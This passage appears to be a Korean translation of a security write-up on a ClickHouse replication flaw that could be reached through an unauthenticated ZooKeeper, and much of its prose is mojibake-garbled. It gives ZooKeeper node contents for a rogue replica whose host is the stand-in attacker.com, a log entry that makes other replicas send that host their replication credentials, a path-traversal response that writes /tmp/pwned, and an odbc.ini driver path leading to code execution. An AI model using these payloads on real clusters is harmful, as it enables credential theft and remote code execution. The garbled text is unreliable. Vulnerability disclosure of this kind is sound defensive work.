์ด ๊ธฐ์ฌ์์๋ ClickHouse ๋ณต์ ํ๋กํ ์ฝ์ ๋งค์ฐ ๊ตฌ์ฒด์ ์ธ ์ทจ์ฝ์ ์ ๋ํด ์ค๋ช ํ๊ณ ๊ณต๊ฒฉ ํ๋ฉด์ ํ์ฅํ ์ ์๋ ๋ฐฉ๋ฒ๋ ๋ณด์ฌ์ค๋๋ค.
ClickHouse๋ ๋์ฉ๋ ๋ฐ์ดํฐ๋ฅผ ์ ์ฅํ๊ธฐ ์ํ ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ก, ๋๋ถ๋ถ ํ๋ ์ด์์ ๋ณต์ ๋ณธ์ ์ฌ์ฉํฉ๋๋ค. ClickHouse์ ํด๋ฌ์คํฐ๋ง ๋ฐ ๋ณต์ ๋ ๊ทธ ์์ ๊ตฌ์ถ๋ฉ๋๋ค.
๊ธฐ๋ณธ ZK ์ค์น์๋ ์ธ์ฆ์ด ํ์ํ์ง ์์ผ๋ฏ๋ก Kafka, Hadoop, ClickHouse๋ฅผ ๊ตฌ์ฑํ๋ ๋ฐ ์ฌ์ฉ๋๋ ์์ฒ ๊ฐ์ ZK ์๋ฒ๋ฅผ ๊ณต๊ฐ์ ์ผ๋ก ์ฌ์ฉํ ์ ์์ต๋๋ค.
๊ณต๊ฒฉ ํ๋ฉด์ ์ค์ด๋ ค๋ฉด ZooKeeper๋ฅผ ์ค์นํ ๋ ํญ์ ์ธ์ฆ ๋ฐ ๊ถํ ๋ถ์ฌ๋ฅผ ๊ตฌ์ฑํด์ผ ํฉ๋๋ค.
๋ฌผ๋ก ์ผ๋ถ 0day ๊ธฐ๋ฐ Java ์ญ์ง๋ ฌํ๊ฐ ์์ง๋ง ๊ณต๊ฒฉ์๊ฐ ClickHouse ๋ณต์ ์ ์ฌ์ฉ๋๋ ZooKeeper๋ฅผ ์ฝ๊ณ ์ธ ์ ์๋ค๊ณ ์์ํด ๋ณด์ญ์์ค.
ํด๋ฌ์คํฐ ๋ชจ๋๋ก ๊ตฌ์ฑ๋๋ฉด ClickHouse๋ ๋ถ์ฐ ์ฟผ๋ฆฌ๋ฅผ ์ง์ํฉ๋๋ค. /clickhouse/task_queue/ddl
.
์๋ฅผ ๋ค์ด ๋
ธ๋๋ฅผ ์์ฑํฉ๋๋ค. /clickhouse/task_queue/ddl/query-0001
๋ด์ฉ:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
๊ทธ ํ์๋ ํด๋ฌ์คํฐ ์๋ฒ ํธ์คํธ1๊ณผ ํธ์คํธ2์์ ํ ์คํธ ํ ์ด๋ธ์ด ์ญ์ ๋ฉ๋๋ค. DDL์ CREATE/ALTER/DROP ์ฟผ๋ฆฌ ์คํ๋ ์ง์ํฉ๋๋ค.
๋ฌด์์ด ๊ฒ ๊ฐ๋์? ๊ทธ๋ฌ๋ฉด ๊ณต๊ฒฉ์๋ ์๋ฒ ์ฃผ์๋ฅผ ์ด๋์ ์ป์ ์ ์์ต๋๊น?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
๋ ธ๋๊ฐ ์์ฑ๋ฉ๋๋ค ์ด ะธ ๋ฉํ ๋ฐ์ดํฐ.
ํจ์ ๋ /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
์ด ํด๋ฌ์คํฐ์ ๋ฐ์ดํฐ๋ฅผ ๋ณํฉํ ์ ์๋์? ์, ๋ณต์ ํฌํธ(TCP/9009
) ์๋ฒ์์ chXX-address
๋ฐฉํ๋ฒฝ์ ๋ซํ์ง ์์ผ๋ฉฐ ๋ณต์ ๋ฅผ ์ํ ์ธ์ฆ๋ ๊ตฌ์ฑ๋์ง ์์ต๋๋ค. ์ธ์ฆ์ ์ฐํํ๋ ๋ฐฉ๋ฒ์ ๋ฌด์์
๋๊น?
๊ณต๊ฒฉ์๋ ๋จ์ํ ZK์ ๋ด์ฉ์ ๋ณต์ฌํ์ฌ ZK์์ ์๋ก์ด ๋ณต์ ๋ณธ์ ์์ฑํ ์ ์์ต๋๋ค. /clickhouse/tables/01-01/foobar/replicas/chXX
๊ทธ๋ฆฌ๊ณ ์๋ฏธ๋ฅผ ๋ฐ๊พธ๋ ๊ฒ host
.
ํจ์ ๋ /clickhouse/tables/01โ01/foobar/๋ณต์ ๋ณธ/๊ณต๊ฒฉ์/ํธ์คํธ:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
๊ทธ๋ฐ ๋ค์ ๊ณต๊ฒฉ์์ ์๋ฒ์ ๊ฐ์ ธ์์ผ ํ๋ ์๋ก์ด ๋ฐ์ดํฐ ๋ธ๋ก์ด ์๋ค๋ ๊ฒ์ ๋ค๋ฅธ ๋ณต์ ๋ณธ์ ์๋ ค์ผ ํฉ๋๋ค. ๋
ธ๋๋ ZK์์ ์์ฑ๋ฉ๋๋ค. /clickhouse/tables/01-01/foobar/log/log-00000000XX
(XX ๋จ์กฐ ์ฆ๊ฐ ์นด์ดํฐ, ์ด๋ฒคํธ ๋ก๊ทธ์ ๋ง์ง๋ง ์นด์ดํฐ๋ณด๋ค ์ปค์ผ ํจ):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
์ด๋์์ ์์ค_๋ณต์ ๋ณธ โ ์ด์ ๋จ๊ณ์์ ์์ฑ๋ ๊ณต๊ฒฉ์์ ๋ณต์ ๋ณธ ์ด๋ฆ, block_id โ ๋ฐ์ดํฐ ๋ธ๋ก ์๋ณ์, ์ป์ - "๋ธ๋ก ๊ฐ์ ธ์ค๊ธฐ" ๋ช
๋ น(๊ทธ๋ฆฌ๊ณ
๋ค์์ผ๋ก, ๊ฐ ๋ณต์ ๋ณธ์ ๋ก๊ทธ์์ ์ ์ด๋ฒคํธ๋ฅผ ์ฝ๊ณ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ โโ์๋ฒ๋ก ์ด๋ํ์ฌ ๋ฐ์ดํฐ ๋ธ๋ก์ ์์ ํฉ๋๋ค(๋ณต์ ํ๋กํ ์ฝ์ ๋ฐ์ด๋๋ฆฌ์ด๋ฉฐ HTTP ์์์ ์คํ๋จ). ์ฌ๊ธฐ๋ ์ฌ๋ attacker.com
์์ฒญ์ ๋ฐ๊ฒ ๋ฉ๋๋ค:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
์ฌ๊ธฐ์ XXX๋ ๋ณต์ ๋ฅผ ์ํ ์ธ์ฆ ๋ฐ์ดํฐ์ ๋๋ค. ๊ฒฝ์ฐ์ ๋ฐ๋ผ ์ด๋ ๊ธฐ๋ณธ ClickHouse ํ๋กํ ์ฝ๊ณผ HTTP ํ๋กํ ์ฝ์ ํตํด ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์ก์ธ์คํ ์ ์๋ ๊ณ์ ์ผ ์ ์์ต๋๋ค. ๋ณด์๋ค์ํผ ๋ณต์ ์ ์ฌ์ฉ๋๋ ZooKeeper๊ฐ ์ธ์ฆ์ด ๊ตฌ์ฑ๋์ง ์์ ์ํ๋ก ๋ฐฉ์น๋์๊ธฐ ๋๋ฌธ์ ๊ณต๊ฒฉ ํ๋ฉด์ด ๋งค์ฐ ์ปค์ง๋๋ค.
๋ณต์ ๋ณธ์์ ๋ฐ์ดํฐ ๋ธ๋ก์ ๊ฐ์ ธ์ค๋ ๊ธฐ๋ฅ์ ์ดํด๋ณด๊ฒ ์ต๋๋ค. ๋ชจ๋ ๋ณต์ ๋ณธ์ด ์ ์ ํ๊ฒ ์ ์ด๋๊ณ ์์ผ๋ฉฐ ๋ณต์ ๋ณธ ๊ฐ์ ์ ๋ขฐ๊ฐ ์๋ค๋ ์์ ํ ํ์ ์ ๊ฐ์ง๊ณ ์์ฑ๋์์ต๋๋ค.
๋ณต์ ์ฒ๋ฆฌ ์ฝ๋
์ด ํจ์๋ ํ์ผ ๋ชฉ๋ก, ์ด๋ฆ, ํฌ๊ธฐ, ๋ด์ฉ์ ์ฝ์ ๋ค์ ํ์ผ ์์คํ ์ ์๋๋ค. ํ์ผ ์์คํ ์ ๋ฐ์ดํฐ๊ฐ ์ ์ฅ๋๋ ๋ฐฉ๋ฒ์ ๋ณ๋๋ก ์ค๋ช ํ๋ ๊ฒ์ด ์ข์ต๋๋ค.
์๋ ์ฌ๋ฌ ํ์ ๋๋ ํฐ๋ฆฌ๊ฐ ์์ต๋๋ค. /var/lib/clickhouse
(๊ตฌ์ฑ ํ์ผ์ ๊ธฐ๋ณธ ์ ์ฅ์ ๋๋ ํฐ๋ฆฌ):
ํ๋๊ทธ - ๋
น์์ ์ํ ๋๋ ํ ๋ฆฌ
tmp๋ฅผ โ ์์ ํ์ผ์ ์ ์ฅํ๊ธฐ ์ํ ๋๋ ํ ๋ฆฌ;
user_files โ ์์ฒญ์ ์๋ ํ์ผ์ ๋ํ ์์
์ ์ด ๋๋ ํฐ๋ฆฌ(INTO OUTFILE ๋ฐ ๊ธฐํ)๋ก ์ ํ๋ฉ๋๋ค.
๋ฉํ ๋ฐ์ดํฐ โ ํ
์ด๋ธ ์ค๋ช
์ด ํฌํจ๋ SQL ํ์ผ
preprocessed_configs - ๋ค์์์ ์ฒ๋ฆฌ๋ ํ์ ๊ตฌ์ฑ ํ์ผ /etc/clickhouse-server
;
๋ฐ์ดํฐ - ๋ฐ์ดํฐ ์์ฒด๊ฐ ํฌํจ๋ ์ค์ ๋๋ ํฐ๋ฆฌ. ์ด ๊ฒฝ์ฐ ๊ฐ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ๋ํด ๋ณ๋์ ํ์ ๋๋ ํฐ๋ฆฌ๊ฐ ์ฌ๊ธฐ์ ์์ฑ๋ฉ๋๋ค(์: /var/lib/clickhouse/data/default
).
๋ฐ์ดํฐ๋ฒ ์ด์ค ๋๋ ํฐ๋ฆฌ์ ๊ฐ ํ
์ด๋ธ์ ๋ํด ํ์ ๋๋ ํฐ๋ฆฌ๊ฐ ์์ฑ๋ฉ๋๋ค. ๊ฐ ์ด์ ๋ค์์ ๋ฐ๋ผ ๋ณ๋์ ํ์ผ์
๋๋ค.
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
๋ณต์ ๋ณธ์ ๋ฐ์ดํฐ ๋ธ๋ก์ ์ฒ๋ฆฌํ ๋ ๋์ผํ ์ด๋ฆ์ ํ์ผ์ ์์ ํ ๊ฒ์ผ๋ก ์์ํ๋ฉฐ ์ด๋ค ๋ฐฉ์์ผ๋ก๋ ์ ํจ์ฑ์ ๊ฒ์ฌํ์ง ์์ต๋๋ค.
์ธ์ฌํ ๋
์๋ผ๋ฉด ์๋ง๋ ํจ์์์ file_name์ ์์ ํ์ง ์์ ์ฐ๊ฒฐ์ ๋ํด ์ด๋ฏธ ๋ค์ด๋ดค์ ๊ฒ์
๋๋ค. WriteBufferFromFile
. ์, ์ด๋ฅผ ํตํด ๊ณต๊ฒฉ์๋ ์ฌ์ฉ์ ๊ถํ์ผ๋ก FS์ ๋ชจ๋ ํ์ผ์ ์์์ ์ฝํ
์ธ ๋ฅผ ์ธ ์ ์์ต๋๋ค. clickhouse
. ์ด๋ฅผ ์ํด ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ โโ๋ณต์ ๋ณธ์ ์์ฒญ์ ๋ํด ๋ค์ ์๋ต์ ๋ฐํํด์ผ ํฉ๋๋ค(์ดํดํ๊ธฐ ์ฝ๋๋ก ์ค ๋ฐ๊ฟ์ด ์ถ๊ฐ๋์์ต๋๋ค).
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
๊ทธ๋ฆฌ๊ณ ์ฐ๊ฒฐ ํ ../../../../../../../../../tmp/pwned
ํ์ผ์ด ๊ธฐ๋ก๋ฉ๋๋ค /tmp/pwned ๋ด์ฉ์ผ๋ก ์๋
ํ์ธ์ ๋๋ฌผ์ ์ฌ์ก์ฌ.
ํ์ผ ์ฐ๊ธฐ ๊ธฐ๋ฅ์ RCE(์๊ฒฉ ์ฝ๋ ์คํ)๋ก ์ ํํ๋ ๋ฐ๋ ์ฌ๋ฌ ๊ฐ์ง ์ต์ ์ด ์์ต๋๋ค.
RCE์ ์ธ๋ถ ์ฌ์
์ด์ ๋ฒ์ ์์๋ ClickHouse ์ค์ ์ด ์๋ ๋๋ ํฐ๋ฆฌ๊ฐ ์ฌ์ฉ์ ๊ถํ์ผ๋ก ์ ์ฅ๋์์ต๋๋ค. ํด๋ฆญํ์ฐ์ค ๊ธฐ๋ณธ. ์ค์ ํ์ผ์ ์๋น์ค๊ฐ ์์ ์ ์ฝ์ ๋ค์ ์บ์๋๋ XML ํ์ผ์
๋๋ค. /var/lib/clickhouse/preprocessed_configs
. ๋ณ๊ฒฝ์ฌํญ์ด ๋ฐ์ํ๋ฉด ๋ค์ ์ฝํ์ง๋๋ค. ๋ค์์ ์ ๊ทผํ ์ ์๋ ๊ฒฝ์ฐ /etc/clickhouse-server
๊ณต๊ฒฉ์๋ ์์ ๋ง์ ๊ฒ์ ๋ง๋ค ์ ์๋ค root
.
ODBC์์ RCE๋ก
ํจํค์ง๋ฅผ ์ค์นํ๋ฉด ์ฌ์ฉ์๊ฐ ์์ฑ๋ฉ๋๋ค. clickhouse
, ํ ๋๋ ํ ๋ฆฌ๊ฐ ์์ฑ๋์ง ์์์ต๋๋ค. /nonexistent
. ๊ทธ๋ฌ๋ ์ธ๋ถ ์ฌ์ ์ ์ฌ์ฉํ ๋๋ ๋ค๋ฅธ ์ด์ ๋ก ๊ด๋ฆฌ์๋ ๋๋ ํ ๋ฆฌ๋ฅผ ์์ฑํฉ๋๋ค. /nonexistent
๊ทธ๋ฆฌ๊ณ ์ฌ์ฉ์์๊ฒ clickhouse
์ฐ๊ธฐ ์ก์ธ์ค ๊ถํ(SSZB! ์ฝ. ์ญ์).
ํด๋ฆญํ์ฐ์ค๋ ์ง์ํฉ๋๋ค odbc-bridge
, ๋ฐ๋ผ์ ๋ ์ด์ ์์ฒญ์์ ๋๋ผ์ด๋ฒ ๊ฒฝ๋ก๋ฅผ ์ง์ ํ ์ ์์ต๋๋ค. ๊ทธ๋ฌ๋ ๊ณต๊ฒฉ์๊ฐ ์์ ์ค๋ช
๋ ์ทจ์ฝ์ ์ ์ฌ์ฉํ์ฌ ํ ๋๋ ํฐ๋ฆฌ์ ์ธ ์ ์์ต๋๊น?
ํ์ผ์ ๋ง๋ค์ด๋ณด์ ~/.odbc.ini
๋ค์๊ณผ ๊ฐ์ ๋ด์ฉ์ผ๋ก:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
๊ทธ๋ฐ ๋ค์ ์์ ์ SELECT * FROM odbc('DSN=lalala', 'test', 'test');
๋ผ์ด๋ธ๋ฌ๋ฆฌ๊ฐ ๋ก๋๋ฉ๋๋ค test.so
๊ทธ๋ฆฌ๊ณ RCE๋ฅผ ๋ฐ์์ต๋๋ค(๊ฐ์ฌํฉ๋๋ค
ClickHouse ๋ฒ์ 19.14.3์์๋ ์ด๋ฌํ ์ทจ์ฝ์ ๊ณผ ๊ธฐํ ์ทจ์ฝ์ ์ด ์์ ๋์์ต๋๋ค. ClickHouse์ ZooKeepers๋ฅผ ์ ๊ด๋ฆฌํ์ธ์!
์ถ์ฒ : habr.com